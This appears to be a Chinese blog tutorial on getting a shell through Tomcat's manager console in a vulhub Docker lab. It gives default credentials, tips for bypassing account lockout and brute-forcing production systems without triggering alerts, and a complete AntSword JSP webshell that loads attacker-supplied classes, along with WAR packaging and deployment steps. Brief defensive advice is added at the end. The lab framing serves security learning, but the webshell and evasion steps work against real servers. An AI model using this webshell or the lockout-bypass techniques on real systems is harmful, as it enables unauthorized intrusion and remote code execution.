tomcat后台getshell
字数 999 2025-08-11 08:36:04
Tomcat后台GetShell漏洞复现与利用教学文档
1. 环境搭建
1.1 准备Docker环境
- 下载vulhub漏洞环境:
git clone https://github.com/vulhub/vulhub.git - 进入Tomcat8漏洞目录:
cd vulhub/tomcat/tomcat8 - 启动漏洞环境:
docker-compose up -d
2. 漏洞复现流程
2.1 访问Tomcat管理页面
- 确认Tomcat服务运行在8080端口:
http://192.168.183.136:8080/ - 访问管理后台:
http://your-ip:8080/manager/html
2.2 弱口令登录
- 使用默认凭证:
- 用户名:tomcat
- 密码:tomcat
2.3 暴力破解绕过机制(生产环境适用)
-
Tomcat防暴破机制:
- 当同一账号登录错误>5次后,会锁定用户
-
绕过方法:
- 密码喷洒技术:针对同一弱口令爆破不同账号
- 缓存占满技术:使用脏数据占满Tomcat缓存
-
爆破技巧:
- 将可能存在的username放在position1
- 将password放在position3
- 爆破顺序应避免同一账号连续尝试
-
图形化工具:
- 下载地址:https://download.csdn.net/download/lwhat007/10164298
3. 上传War包GetShell
3.1 准备JSP木马
- 使用中国蚁剑生成JSP木马(shell.jsp):
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("ant"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>- 密码:ant
3.2 打包为War文件
- 使用jar命令打包:
jar -cvf login.war shell.jsp - 或使用zip命令打包:
zip shell.war shell.jsp
3.3 上传并部署
- 在Tomcat管理后台上传war包
- 访问木马路径:
http://192.168.183.136:8080/shell/shell.jsp- 路径格式:/war文件名前缀/文件名.jsp
3.4 连接蚁剑
- 使用中国蚁剑连接木马
- 密码设置为"ant"
4. 环境清理
docker-compose down -v
5. 参考链接
- Vulhub官方文档:https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md
- JSP木马生成:https://github.com/yzddmr6/JspForAntSword
- 技术文章:
- https://mp.weixin.qq.com/s/VHYU0S5YMd-tm9VWCmMaCQ
- https://mp.weixin.qq.com/s/gQM2SMx3QjuRbqnYXtDdYQ
6. 防御建议
- 修改默认凭证
- 限制管理后台访问IP
- 禁用不必要的管理功能
- 实施账户锁定策略
- 定期更新Tomcat版本
7. 注意事项
- 实际测试中Tomcat 6/7/8+有登录失败锁定机制
- 生产环境爆破需谨慎,避免触发安全警报
- 测试完成后务必清理环境